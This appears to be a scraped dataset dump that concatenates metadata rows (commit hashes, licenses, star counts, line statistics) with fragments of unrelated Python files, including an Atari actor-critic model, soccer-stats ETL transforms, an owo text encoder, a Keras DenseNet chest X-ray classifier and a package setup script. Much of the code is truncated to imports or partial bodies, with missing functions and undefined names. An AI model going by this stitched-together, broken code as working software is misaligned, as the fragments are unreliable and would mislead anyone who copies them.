bf8d56ac9e9b0786861c08ef32eae49b021f20a3
[ "0BSD" ]
null
null
null
__author__ = 'talluri'
13.181818
22
0.496552
afaaa12bee233defec8a78a507b98355a9769f87
11,423
py
Python
actorcritic/envs/atari/model.py
jrobine/actor-critic
2f72d296c0b550982b0400b6afb7a7a0dfe3f144
[ "MIT" ]
10
2018-07-31T21:04:02.000Z
2022-02-03T18:58:45.000Z
actorcritic/envs/atari/model.py
jrobine/actor-critic
2f72d296c0b550982b0400b6afb7a7a0dfe3f144
[ "MIT" ]
null
null
null
actorcritic/envs/atari/model.py
jrobine/actor-critic
2f72d296c0b550982b0400b6afb7a7a0dfe3f144
[ "MIT" ]
1
2018-08-01T18:09:35.000Z
2018-08-01T18:09:35.000Z
"""An implementation of an actor-critic model that is aimed at Atari games.""" import gym import numpy as np import tensorflow as tf import actorcritic.nn as nn from actorcritic.baselines import StateValueFunction from actorcritic.model import ActorCriticModel from actorcritic.policies import SoftmaxPolicy
46.246964
119
0.660597
afaf5d11e5a28c1db05bcfd2d0127aa64f8b14b1
18,044
py
Python
marcotti/etl/base/transform.py
soccermetrics/marcotti
eda2f19bd6cbc6f9c7482e8fe31b2233b33aacfd
[ "MIT" ]
30
2015-11-23T07:51:54.000Z
2020-06-29T16:11:55.000Z
marcotti/etl/base/transform.py
soccermetrics/marcotti
eda2f19bd6cbc6f9c7482e8fe31b2233b33aacfd
[ "MIT" ]
1
2016-06-26T18:44:47.000Z
2016-06-29T03:02:40.000Z
marcotti/etl/base/transform.py
soccermetrics/marcotti
eda2f19bd6cbc6f9c7482e8fe31b2233b33aacfd
[ "MIT" ]
8
2016-01-13T12:23:16.000Z
2021-10-11T07:39:33.000Z
import pandas as pd import marcotti.models.club as mc import marcotti.models.common.enums as enums import marcotti.models.common.overview as mco import marcotti.models.common.personnel as mcp import marcotti.models.common.suppliers as mcs from .workflows import WorkflowBase class MarcottiStatsTransform(MarcottiTransform): categories = ['assists', 'clearances', 'corner_crosses', 'corners', 'crosses', 'defensives', 'discipline', 'duels', 'foul_wins', 'freekicks', 'gk_actions', 'gk_allowed_goals', 'gk_allowed_shots', 'gk_saves', 'goal_bodyparts', 'goal_locations', 'goal_totals', 'goalline_clearances', 'important_plays', 'pass_directions', 'pass_lengths', 'pass_locations', 'pass_totals', 'penalty_actions', 'shot_blocks', 'shot_bodyparts', 'shot_locations', 'shot_plays', 'shot_totals', 'tackles', 'throwins', 'touch_locations', 'touches'] def add_stats_fn(category): setattr(MarcottiStatsTransform, category, fn) fn.__name__ = category fn.__doc__ = "Data transformation for {} method".format(category)
54.349398
121
0.627854
afb151ddaf6fe45b7776879d93b6a4036ec2ff77
2,863
py
Python
flow54/fuel_injector.py
corygoates/Flow54
d24fe113afb932df6a910b560c6d491693b87592
[ "MIT" ]
null
null
null
flow54/fuel_injector.py
corygoates/Flow54
d24fe113afb932df6a910b560c6d491693b87592
[ "MIT" ]
null
null
null
flow54/fuel_injector.py
corygoates/Flow54
d24fe113afb932df6a910b560c6d491693b87592
[ "MIT" ]
null
null
null
import copy import numpy as np from compressible_tools import *
24.895652
176
0.550472
afb26810722dea2343152102b81238f0ece5d0c5
1,976
py
Python
owoencode.py
glitchfur/owoencoder
ed81a03ba4bd504ca2de4da80fa618b12363b9db
[ "MIT" ]
4
2020-08-10T06:01:35.000Z
2021-08-30T02:26:29.000Z
owoencode.py
glitchfur/owoencoder
ed81a03ba4bd504ca2de4da80fa618b12363b9db
[ "MIT" ]
null
null
null
owoencode.py
glitchfur/owoencoder
ed81a03ba4bd504ca2de4da80fa618b12363b9db
[ "MIT" ]
1
2021-06-02T09:16:43.000Z
2021-06-02T09:16:43.000Z
#!/usr/bin/env python3 # owoencode.py, a part of owoencoder # Made by Glitch, 2020 # https://www.glitchfur.net from sys import argv, stdout, stderr from os.path import exists, split from os import remove KEEP_ORIG = False STDOUT_FLAG = False if __name__ == "__main__": main()
30.875
77
0.577935
afb31209b87b0007cddea5b09c524bff1b45d36d
2,589
py
Python
generators/query_gen.py
Abhipanda4/RQs_in_Regex_Graphs
80b86b5b3f92ef28102ac0f5049bb495b5cc07f9
[ "Apache-2.0" ]
2
2018-10-09T09:59:45.000Z
2021-11-21T17:01:47.000Z
generators/query_gen.py
Abhipanda4/RQs_in_Regex_Graphs
80b86b5b3f92ef28102ac0f5049bb495b5cc07f9
[ "Apache-2.0" ]
null
null
null
generators/query_gen.py
Abhipanda4/RQs_in_Regex_Graphs
80b86b5b3f92ef28102ac0f5049bb495b5cc07f9
[ "Apache-2.0" ]
null
null
null
# Fix number of node predicates at 1 out of 6 # this ensures queries with larger space of possible nodes # The number of colors in a query is varied from 1 to 5 import argparse import numpy as np from graph_gen import birth_years, genders, num_posts, num_friends possibilities = [1, 3, 4, 5] # do not consider equaliy as it will narrow down # extreme node sets too much op1 = ["<=", "<", ">", ">="] op2 = ["==", "!="] if __name__ == "__main__": main()
27.83871
83
0.565469
afb50c8aa67608ab3deea105ffee6debac103ea3
195
py
Python
multiplepagesproject/prodforms.py
mandeep-django/admin-panel
30c65730e74004ec21cf891627fbbaa027f626db
[ "MIT" ]
null
null
null
multiplepagesproject/prodforms.py
mandeep-django/admin-panel
30c65730e74004ec21cf891627fbbaa027f626db
[ "MIT" ]
null
null
null
multiplepagesproject/prodforms.py
mandeep-django/admin-panel
30c65730e74004ec21cf891627fbbaa027f626db
[ "MIT" ]
null
null
null
from django import forms from multiplepagesproject.prodmodels import proddisplay
27.857143
56
0.723077
afb5ce60435e8b3c83936754903becf1fcb4fbdf
1,292
py
Python
communication/templatetags/discussion.py
stewardshiptools/stewardshiptools
ee5d27e7b0d5d4947f34ad02bdf63a06ad0a5c3e
[ "MIT" ]
null
null
null
communication/templatetags/discussion.py
stewardshiptools/stewardshiptools
ee5d27e7b0d5d4947f34ad02bdf63a06ad0a5c3e
[ "MIT" ]
11
2020-03-24T15:29:46.000Z
2022-03-11T23:14:48.000Z
communication/templatetags/discussion.py
stewardshiptools/stewardshiptools
ee5d27e7b0d5d4947f34ad02bdf63a06ad0a5c3e
[ "MIT" ]
null
null
null
import string from django.template import Context from django.template.loader import get_template from django import template register = template.Library() import crm # @register.filter # def render_related_communication_items(related_object): # ''' # Called by the CommunicationViewset # to render data if html is requested. # :param related_object: # :return: rendered communication items list (<ul>) # ''' # comms_objects = Communication.get_communications_related_to(related_object) # context = Context({'data': comms_objects}) # t = get_template("communication/communication_items.html") # return t.render(context)
28.711111
81
0.670279
afb6bce0846f3ad5fdbe2619d6c7b2dd5348269a
3,504
py
Python
fairseq/criterions/cross_entropy.py
emailandxu/KUST-Fairseq-ST
95316cebc99d963c4aa671914ce219c5692f5fd6
[ "BSD-3-Clause" ]
null
null
null
fairseq/criterions/cross_entropy.py
emailandxu/KUST-Fairseq-ST
95316cebc99d963c4aa671914ce219c5692f5fd6
[ "BSD-3-Clause" ]
null
null
null
fairseq/criterions/cross_entropy.py
emailandxu/KUST-Fairseq-ST
95316cebc99d963c4aa671914ce219c5692f5fd6
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the LICENSE file in # the root directory of this source tree. An additional grant of patent rights # can be found in the PATENTS file in the same directory. import math import torch import torch.nn.functional as F from fairseq import utils from . import FairseqCriterion, register_criterion
37.276596
111
0.623002
afb90e0689a3fd6f900cf89c2141c1e4deace929
365
py
Python
blog/models.py
adityabisoi/personal-portfolio
34e9f9dc1b78b12bf27f934ae71efa0058450c0d
[ "MIT" ]
1
2020-02-19T09:45:28.000Z
2020-02-19T09:45:28.000Z
blog/models.py
adityabisoi/personal-portfolio
34e9f9dc1b78b12bf27f934ae71efa0058450c0d
[ "MIT" ]
6
2021-03-19T04:39:19.000Z
2022-02-10T13:52:14.000Z
blog/models.py
adityabisoi/personal-portfolio
34e9f9dc1b78b12bf27f934ae71efa0058450c0d
[ "MIT" ]
null
null
null
from django.db import models
26.071429
50
0.679452
afbb87c6ab776c79d599ae4c17e47909e935b3eb
3,845
py
Python
Year-2/Computational-math/src/labs/lab_2/methods.py
zubrailx/University-ITMO
9c746ab6cfa95ecd6ff02eb23e1f49c93337ec61
[ "MIT" ]
3
2021-10-13T05:01:37.000Z
2022-01-21T15:25:47.000Z
Year-2/Computational-math/src/labs/lab_2/methods.py
zubrailx/university
9c746ab6cfa95ecd6ff02eb23e1f49c93337ec61
[ "MIT" ]
null
null
null
Year-2/Computational-math/src/labs/lab_2/methods.py
zubrailx/university
9c746ab6cfa95ecd6ff02eb23e1f49c93337ec61
[ "MIT" ]
null
null
null
from copy import copy from modules.parse import parse from modules.equation import grad, node_flatten from modules.matrix import Matrix from modules.util import ProjectException from modules.util import Color, color_string
40.904255
115
0.640312
afbc104c7579cd278f56fcd197e11d8c1c44ade6
1,807
py
Python
TerraformToAnsibleInventory/args.py
mrlesmithjr/python-terraform-to-ansible-inventory
0ceb251c8fbdcf23d186f1a1d66684af1b28c86c
[ "MIT" ]
5
2018-07-17T15:46:57.000Z
2020-01-18T23:54:23.000Z
TerraformToAnsibleInventory/args.py
mrlesmithjr/python-terraform-to-ansible-inventory
0ceb251c8fbdcf23d186f1a1d66684af1b28c86c
[ "MIT" ]
11
2018-07-19T13:04:50.000Z
2019-10-22T13:38:01.000Z
TerraformToAnsibleInventory/args.py
mrlesmithjr/python-terraform-to-ansible-inventory
0ceb251c8fbdcf23d186f1a1d66684af1b28c86c
[ "MIT" ]
4
2019-09-27T18:27:17.000Z
2021-12-22T13:41:03.000Z
import argparse from _version import __version__ def parse(): """Parse command line arguments.""" PARSER = argparse.ArgumentParser() PARSER.add_argument('-b', '--backend', help='Define which Terraform backend to parse', choices=['local', 'consul'], default='local') PARSER.add_argument('-cH', '--consulHost', help='Define Consul host when using Consul backend') PARSER.add_argument('-cKV', '--consulKV', help='Define Consul KV Pair to query. Ex. Azure/Test') PARSER.add_argument('-cP', '--consulPort', help='Define Consul host port', default='8500') PARSER.add_argument('-cS', '--consulScheme', help='Define Consul connection scheme.', choices=['http', 'https'], default='http') PARSER.add_argument('-i', '--inventory', help='Ansible inventory', default='./terraform_inventory.yml') PARSER.add_argument('--logLevel', help='Define logging level output', choices=['CRITICAL', 'ERROR', 'WARNING', 'INFO', 'DEBUG'], default='INFO') PARSER.add_argument('-t', '--tfstate', help='Terraform tftstate file', default='./terraform.tfstate') PARSER.add_argument('-v', '--version', action='version', version='%(prog)s {version}'.format(version=__version__)) ARGS = PARSER.parse_args() if ARGS.backend == 'consul' and ARGS.consulHost is None: PARSER.error('Consul host is required when using Consul backend.') if ARGS.backend == 'consul' and ARGS.consulKV is None: PARSER.error('Consul KV pair is required when using Consul backend') return ARGS
51.628571
81
0.58052
afbcc11a19deb6b6ae32cfc779f94a2a3949f37d
549
py
Python
wifi_radio/lockable_mpdclient.py
thomasvamos/wifi_radio
54a04b37cfbada82074af439a7b0ee12cedf3512
[ "MIT" ]
null
null
null
wifi_radio/lockable_mpdclient.py
thomasvamos/wifi_radio
54a04b37cfbada82074af439a7b0ee12cedf3512
[ "MIT" ]
null
null
null
wifi_radio/lockable_mpdclient.py
thomasvamos/wifi_radio
54a04b37cfbada82074af439a7b0ee12cedf3512
[ "MIT" ]
null
null
null
''' Wrapper for a lockable MPD client ''' from threading import Lock, Thread from random import choice from mpd import MPDClient
26.142857
49
0.668488
afbcd4f337d7fb85d3b0e527567a1d3d85e5d0ed
1,928
py
Python
test.py
raveendezoysa/American-Sign-Language-to-Text-Based-Translator
0e0d3bea9912c87c51f00728742dc67cd85b7e66
[ "MIT" ]
null
null
null
test.py
raveendezoysa/American-Sign-Language-to-Text-Based-Translator
0e0d3bea9912c87c51f00728742dc67cd85b7e66
[ "MIT" ]
null
null
null
test.py
raveendezoysa/American-Sign-Language-to-Text-Based-Translator
0e0d3bea9912c87c51f00728742dc67cd85b7e66
[ "MIT" ]
null
null
null
# importing libraries from keras.preprocessing.image import ImageDataGenerator from keras.models import Sequential from keras.layers import Conv2D, MaxPooling2D from keras.layers import Activation, Dropout, Flatten, Dense from keras import backend as K img_width, img_height = 224, 224 train_data_dir = 'v_data/train' validation_data_dir = 'v_data/test' nb_train_samples = 400 nb_validation_samples = 100 epochs = 10 batch_size = 16 if K.image_data_format() == 'channels_first': input_shape = (3, img_width, img_height) else: input_shape = (img_width, img_height, 3) model = Sequential() model.add(Conv2D(32, (2, 2), input_shape = input_shape)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size =(2, 2))) model.add(Conv2D(32, (2, 2))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size =(2, 2))) model.add(Conv2D(64, (2, 2))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size =(2, 2))) model.add(Flatten()) model.add(Dense(64)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(1)) model.add(Activation('sigmoid')) model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) train_datagen = ImageDataGenerator( rescale=1. / 255, shear_range=0.2, zoom_range=0.2, horizontal_flip=True) test_datagen = ImageDataGenerator(rescale=1. / 255) train_generator = train_datagen.flow_from_directory(train_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary') validation_generator = test_datagen.flow_from_directory( validation_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode ='binary') model.fit_generator(train_generator, steps_per_epoch=nb_train_samples // batch_size, epochs=epochs, validation_data=validation_generator, validation_steps=nb_validation_samples // batch_size) model.save_weights('model_saved.h5')
27.542857
67
0.761411
afbdd176b769632287834f6d6008afe844162c2f
245
py
Python
other/simpleOSC/sendbundle.py
neonkingfr/VizBench
e41f559cb6e761d717f2f5b202482d5d8dacd2d8
[ "MIT" ]
7
2015-01-05T06:32:49.000Z
2020-10-30T19:29:07.000Z
other/simpleOSC/sendbundle.py
neonkingfr/VizBench
e41f559cb6e761d717f2f5b202482d5d8dacd2d8
[ "MIT" ]
null
null
null
other/simpleOSC/sendbundle.py
neonkingfr/VizBench
e41f559cb6e761d717f2f5b202482d5d8dacd2d8
[ "MIT" ]
4
2016-03-09T22:29:26.000Z
2021-04-07T13:52:28.000Z
import osc osc.init() # create and send a bundle bundle = osc.createBundle() osc.appendToBundle(bundle, "/test/bndlprt1", [1, 2.2, "333"]) osc.appendToBundle(bundle, "/test/bndlprt2", [4, 5.5, 6]) osc.sendBundle(bundle, "127.0.0.1", 9999)
24.5
61
0.677551
afbe04768d0e6a472f75c12cbd235fcaf4b5e777
2,113
py
Python
intersimple-expert-rollout-setobs2.py
sisl/InteractionImitation
9c9ee8f21b53e71bbca86b0b79c6e6d913a20567
[ "MIT" ]
2
2022-03-13T19:43:08.000Z
2022-03-14T03:19:33.000Z
intersimple-expert-rollout-setobs2.py
sisl/InteractionImitation
9c9ee8f21b53e71bbca86b0b79c6e6d913a20567
[ "MIT" ]
null
null
null
intersimple-expert-rollout-setobs2.py
sisl/InteractionImitation
9c9ee8f21b53e71bbca86b0b79c6e6d913a20567
[ "MIT" ]
null
null
null
import torch import functools from src.core.sampling import rollout_sb3 from intersim.envs import IntersimpleLidarFlatIncrementingAgent from intersim.envs.intersimple import speed_reward from intersim.expert import NormalizedIntersimpleExpert from src.util.wrappers import CollisionPenaltyWrapper, Setobs import numpy as np from gym.wrappers import TransformObservation obs_min = np.array([ [-1000, -1000, 0, -np.pi, -1e-1, 0.], [0, -np.pi, -20, -20, -np.pi, -1e-1], [0, -np.pi, -20, -20, -np.pi, -1e-1], [0, -np.pi, -20, -20, -np.pi, -1e-1], [0, -np.pi, -20, -20, -np.pi, -1e-1], [0, -np.pi, -20, -20, -np.pi, -1e-1], ]).reshape(-1) obs_max = np.array([ [1000, 1000, 20, np.pi, 1e-1, 0.], [50, np.pi, 20, 20, np.pi, 1e-1], [50, np.pi, 20, 20, np.pi, 1e-1], [50, np.pi, 20, 20, np.pi, 1e-1], [50, np.pi, 20, 20, np.pi, 1e-1], [50, np.pi, 20, 20, np.pi, 1e-1], ]).reshape(-1) if __name__=='__main__': import fire fire.Fire(loop)
32.507692
88
0.630857
afbe9673b618fa0388c83b7abcd87db09f9c7dda
2,840
py
Python
FeatureTransformation/UserInputFeatureScalling.py
Himanshu14k/AdultIncomePrediction_Project
522f170111c5e6e45ef1e26ef21f86f4ea3a8dcc
[ "MIT" ]
2
2021-09-06T08:31:46.000Z
2021-10-30T12:53:21.000Z
FeatureTransformation/UserInputFeatureScalling.py
Himanshu14k/AdultIncomePrediction_Project
522f170111c5e6e45ef1e26ef21f86f4ea3a8dcc
[ "MIT" ]
1
2021-09-07T13:53:26.000Z
2021-09-07T13:53:26.000Z
FeatureTransformation/UserInputFeatureScalling.py
Himanshu14k/AdultIncomePrediction_Project
522f170111c5e6e45ef1e26ef21f86f4ea3a8dcc
[ "MIT" ]
2
2021-09-13T17:20:56.000Z
2021-11-21T16:05:16.000Z
from joblib import load from pandas import DataFrame import pickle
53.584906
171
0.633099
afbeec327d96ab2c12353a666a3a203a3a3bf18e
4,073
py
Python
pyShelly/debug.py
rfvermut/pyShelly
c2f27ef14d1eaf94c403858a898a919d0005d639
[ "MIT" ]
39
2019-03-19T11:09:26.000Z
2022-03-19T12:44:47.000Z
pyShelly/debug.py
rfvermut/pyShelly
c2f27ef14d1eaf94c403858a898a919d0005d639
[ "MIT" ]
34
2019-05-21T18:41:18.000Z
2022-03-27T07:30:49.000Z
pyShelly/debug.py
rfvermut/pyShelly
c2f27ef14d1eaf94c403858a898a919d0005d639
[ "MIT" ]
42
2019-03-28T15:18:59.000Z
2021-12-27T19:16:44.000Z
import socket import threading import json import sys from io import StringIO from .loop import Loop from .const import ( LOGGER ) # import socket # import sys # def main(): # host = "" # port = 50000 # backlog = 5 # size = 1024 # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.bind((host, port)) # sock.listen(backlog) # while True: # client, address = sock.accept() # test.log("Client connected.") # while True: # data = client.recv(size).rstrip() # if not data: # continue # test.log("Received command: %s" % data) # if data == "disconnect": # test.log("Client disconnected.") # client.send(data) # client.close() # break # if data == "exit": # test.log("Client asked server to quit") # client.send(data) # client.close() # return # test.log("Executing command: %s" % data) # try: # exec(data) # except Exception, err: # test.log("Error occured while executing command: %s" % ( # data), str(err))
30.62406
94
0.499386
afc0461dd64d75f8650665858aa646a390a84868
972
py
Python
setup.py
AGOberprieler/allcopol
7fd3d8ad7c9ff8410155691d8a37fdbea7783c81
[ "MIT" ]
1
2020-10-19T08:22:50.000Z
2020-10-19T08:22:50.000Z
setup.py
AGOberprieler/allcopol
7fd3d8ad7c9ff8410155691d8a37fdbea7783c81
[ "MIT" ]
null
null
null
setup.py
AGOberprieler/allcopol
7fd3d8ad7c9ff8410155691d8a37fdbea7783c81
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages with open("README.md", "r") as f: long_description = f.read() setup(name = "allcopol", version = "0.1.1", description = "AllCoPol: Inferring allele co-ancestry in polyploids", long_description = long_description, long_description_content_type = "text/markdown", url = "https://github.com/AGOberprieler/allcopol", author = "Ulrich Lautenschlager", author_email = "ulrich.lautenschlager@ur.de", license = "MIT", packages = find_packages(), install_requires = [ "argparse", "biopython", "configargparse", "numpy", "scipy" ], entry_points = { "console_scripts": [ "allcopol=allcopol.allcopol:main", "align_clusters=allcopol.align_clusters:main", "create_indfile=allcopol.create_indfile:main", "relabel_trees=allcopol.relabel_trees:main", ], }, zip_safe = False, python_requires = ">=3.5", )
30.375
73
0.644033
afc04d85e4ad399b752a6a1b506501312782c229
2,686
py
Python
genalg/sample.py
davidkant/thresholds-ga
78988bb1bfa1c1eb32afc24edf59e5fde2f1c212
[ "Apache-2.0" ]
null
null
null
genalg/sample.py
davidkant/thresholds-ga
78988bb1bfa1c1eb32afc24edf59e5fde2f1c212
[ "Apache-2.0" ]
9
2018-05-06T18:55:29.000Z
2018-05-06T19:13:33.000Z
genalg/sample.py
davidkant/thresholds-ga
78988bb1bfa1c1eb32afc24edf59e5fde2f1c212
[ "Apache-2.0" ]
null
null
null
import spec import sonicfeatures import display import random import os
40.089552
120
0.624348
afc156258025b1022c60a512cb7371bc599d1647
1,709
py
Python
11/VMWriter.py
aadityarautela/nand2tetris
64768087ae5f6903beeb17a01492d68d7b2354f6
[ "MIT" ]
null
null
null
11/VMWriter.py
aadityarautela/nand2tetris
64768087ae5f6903beeb17a01492d68d7b2354f6
[ "MIT" ]
null
null
null
11/VMWriter.py
aadityarautela/nand2tetris
64768087ae5f6903beeb17a01492d68d7b2354f6
[ "MIT" ]
null
null
null
import os
25.132353
74
0.576946
afc24baeb3d33abb5be32b2647fa2afb09362e83
1,945
py
Python
youtube_rss_subscriber/config.py
miquelruiz/youtube-rss-subscriber
0dbdb011faf910be7dfd4757cd7295b898d4297c
[ "WTFPL" ]
3
2021-03-21T07:43:12.000Z
2021-07-23T11:07:55.000Z
youtube_rss_subscriber/config.py
miquelruiz/youtube-rss-subscriber
0dbdb011faf910be7dfd4757cd7295b898d4297c
[ "WTFPL" ]
null
null
null
youtube_rss_subscriber/config.py
miquelruiz/youtube-rss-subscriber
0dbdb011faf910be7dfd4757cd7295b898d4297c
[ "WTFPL" ]
2
2021-04-11T13:26:29.000Z
2021-07-25T18:03:34.000Z
from typing import Any, Dict, List, Optional, cast from pathlib import Path import yaml CONFIG_FILE_NAME = "config.yml" CONFIG_DIRS = ( Path.home() / Path(".yrs"), Path("/etc/youtube-rss-subscriber"), )
28.602941
79
0.568123
afc59e6ec8b3a8d303a471a47f51dc9d406f4096
222
py
Python
rastervision/analyzer/__init__.py
carderne/raster-vision
915fbcd3263d8f2193e65c2cd0eb53e050a47a01
[ "Apache-2.0" ]
4
2019-03-11T12:38:15.000Z
2021-04-06T14:57:52.000Z
rastervision/analyzer/__init__.py
carderne/raster-vision
915fbcd3263d8f2193e65c2cd0eb53e050a47a01
[ "Apache-2.0" ]
null
null
null
rastervision/analyzer/__init__.py
carderne/raster-vision
915fbcd3263d8f2193e65c2cd0eb53e050a47a01
[ "Apache-2.0" ]
1
2021-02-25T18:23:27.000Z
2021-02-25T18:23:27.000Z
# flake8: noqa from rastervision.analyzer.analyzer import * from rastervision.analyzer.analyzer_config import * from rastervision.analyzer.stats_analyzer import * from rastervision.analyzer.stats_analyzer_config import *
31.714286
57
0.846847
afc811788a0b3ab1c60a2765e44c7a8fefe57ab0
2,010
py
Python
Chest X-Ray Analysis/model.py
HarshShah03325/Emotion_Recognition
d1760bbdedc55014896f0e1c7db47ee5e5a19dae
[ "MIT" ]
20
2021-11-08T05:43:31.000Z
2021-11-09T15:39:03.000Z
Chest X-Ray Analysis/model.py
HarshShah03325/Emotion_Recognition
d1760bbdedc55014896f0e1c7db47ee5e5a19dae
[ "MIT" ]
null
null
null
Chest X-Ray Analysis/model.py
HarshShah03325/Emotion_Recognition
d1760bbdedc55014896f0e1c7db47ee5e5a19dae
[ "MIT" ]
1
2021-10-31T02:53:05.000Z
2021-10-31T02:53:05.000Z
from tensorflow.keras.applications.densenet import DenseNet121 from tensorflow.keras.layers import Dense, GlobalAveragePooling2D from tensorflow.keras.models import Model from keras import backend as K from settings import Settings import numpy as np from helper import get_train_labels, compute_class_freqs from tensorflow.python.framework.ops import disable_eager_execution disable_eager_execution() settings = Settings() def get_weighted_loss(pos_weights, neg_weights, epsilon=1e-7): """ Custom loss function that calculates loss based on positive and negative weights. Weights are inversely proportional to frequencies. returns: weighted loss. """ return weighted_loss def denseNet(): """ Builds and compiles the keras DenseNet model. returns: Untrained DenseNet model. """ base_model = DenseNet121(weights='./densenet.hdf5', include_top=False) x = base_model.output # add a global spatial average pooling layer x = GlobalAveragePooling2D()(x) # and a logistic layer predictions = Dense(len(settings.labels), activation="sigmoid")(x) pos_weights, neg_weights = compute_class_freqs(get_train_labels()) model = Model(inputs=base_model.input, outputs=predictions) model.compile(optimizer='adam', loss=get_weighted_loss(pos_weights, neg_weights), experimental_run_tf_function=False) return model def load_model(): """ Builds keras DenseNet model and loads pretrained weights into the model. returns: Trained DenseNet model. """ model = denseNet() model.load_weights("./pretrained_model.h5") return model
30
201
0.698507
afcab14f17dffbf6475626aeb921c67d6e9af7bc
4,494
py
Python
Assets/ExpressiveRangeAnalyses/example_generator.py
rafaeldolfe/Mixed-initiative-Tile-based-Designer
9001f0e1b68ec8c9fa49d876d2cc6ec1426d1d01
[ "MIT" ]
null
null
null
Assets/ExpressiveRangeAnalyses/example_generator.py
rafaeldolfe/Mixed-initiative-Tile-based-Designer
9001f0e1b68ec8c9fa49d876d2cc6ec1426d1d01
[ "MIT" ]
null
null
null
Assets/ExpressiveRangeAnalyses/example_generator.py
rafaeldolfe/Mixed-initiative-Tile-based-Designer
9001f0e1b68ec8c9fa49d876d2cc6ec1426d1d01
[ "MIT" ]
null
null
null
import sys import numpy as np import math import matplotlib.pyplot as plt from numpy.lib.polynomial import poly import pandas as pd from matplotlib import cm import matplotlib.patheffects as path_effects import random filename = f'example_generator_config.txt' run_names = [] number_of_maps_to_randomly_sample = 0 with open(filename) as f: name_of_everything = f.readline().rstrip('\n') number_of_maps_to_randomly_sample = int(f.readline()) run_name = f.readline() while run_name != "": run_names.append(run_name.rstrip('\n')) run_name = f.readline() print(run_names) number_of_runs = len(run_names) runs = [] for i in range(len(run_names)): run_name = run_names[i] run_file_name = f'{run_name}/data.txt' with open(run_file_name) as f: display_name = f.readline() ids = [] leniencies = [] linearities = [] id = f.readline() while id != "": ids.append(int(id)) leniency = f.readline().rstrip('\n').replace(',',".") leniencies.append(float(leniency)) linearity = f.readline().rstrip('\n').replace(',',".") linearities.append(float(linearity)) id = f.readline() runs.append(Run(display_name, linearities, leniencies, ids)) normalized_id_lists = [] for run in runs: normalized_id_lists.append(list(zip(run.ids, run.normalized_linearities, run.normalized_leniencies, run.linearities, run.leniencies))) print_random_samples_of_maps(runs[0], number_of_maps_to_randomly_sample) print("Enter normalized linearity") normalized_linearity = float(input()) print("Enter normalized leniency") normalized_leniency = float(input()) print("How weighted should linearity be?") linearity_weight = float(input()) print("Which runs to get it from") print("Run nmbr 1") run_number_1 = int(input()) print("Run nmbr 2") run_number_2 = int(input()) id_list1 = normalized_id_lists[run_number_1] id_list2 = normalized_id_lists[run_number_2] print(find_same_normalized_data_point(id_list1, id_list2, normalized_linearity, normalized_leniency, linearity_weight))
36.536585
198
0.715398
afcbed072ad157da39a96ed8b309d2b6f0eb45c5
781
py
Python
tests/test_utils.py
cdyfng/pyetheroll
84149f328a1dc6db47834d02ade50e21286f3409
[ "MIT" ]
1
2018-11-01T02:58:35.000Z
2018-11-01T02:58:35.000Z
tests/test_utils.py
cdyfng/pyetheroll
84149f328a1dc6db47834d02ade50e21286f3409
[ "MIT" ]
13
2019-03-13T13:21:42.000Z
2020-05-27T21:55:40.000Z
tests/test_utils.py
cdyfng/pyetheroll
84149f328a1dc6db47834d02ade50e21286f3409
[ "MIT" ]
2
2019-08-01T07:01:31.000Z
2021-12-20T05:09:02.000Z
from datetime import datetime from pyetheroll.utils import EtherollUtils, timestamp2datetime
28.925926
68
0.644046
afcd6032574bba34bea8e6fbfd6741b9fd4aa205
270
py
Python
micropython/002_plot_test.py
mirontoli/tolle-rasp
020638e86c167aedd7b556d8515a3adef70724af
[ "MIT" ]
2
2021-06-29T17:18:09.000Z
2022-01-25T08:29:59.000Z
micropython/002_plot_test.py
mirontoli/tolle-rasp
020638e86c167aedd7b556d8515a3adef70724af
[ "MIT" ]
null
null
null
micropython/002_plot_test.py
mirontoli/tolle-rasp
020638e86c167aedd7b556d8515a3adef70724af
[ "MIT" ]
null
null
null
# https://codewith.mu/en/tutorials/1.0/microbit from microbit import * flag = True while True: sleep(100) if button_a.was_pressed(): flag = not flag if flag: print((accelerometer.get_x(),)) else: print(accelerometer.get_values())
22.5
47
0.637037
afcecca0aaa83b41a9ff96c5213253a69fa739e1
153
py
Python
osbot_aws/helpers/Fargate_Cluster.py
artem7902/OSBot-AWS
4b676b8323f18d3d9809d41263f3a71745ec2828
[ "Apache-2.0" ]
null
null
null
osbot_aws/helpers/Fargate_Cluster.py
artem7902/OSBot-AWS
4b676b8323f18d3d9809d41263f3a71745ec2828
[ "Apache-2.0" ]
null
null
null
osbot_aws/helpers/Fargate_Cluster.py
artem7902/OSBot-AWS
4b676b8323f18d3d9809d41263f3a71745ec2828
[ "Apache-2.0" ]
null
null
null
from osbot_aws.apis.Fargate import Fargate
15.3
42
0.732026
afceefa6ab42fdff336bb5e178d3b569a6751ee3
7,156
py
Python
adventxtend.py
Textovortex/AdventXtend
0818804daecb570c98b6d7793a99223d2f14665b
[ "MIT" ]
1
2021-04-16T12:04:56.000Z
2021-04-16T12:04:56.000Z
adventxtend.py
leha-code/adventXtend
0818804daecb570c98b6d7793a99223d2f14665b
[ "MIT" ]
2
2021-04-16T16:16:47.000Z
2021-04-18T01:19:06.000Z
adventxtend.py
leha-code/adventXtend
0818804daecb570c98b6d7793a99223d2f14665b
[ "MIT" ]
null
null
null
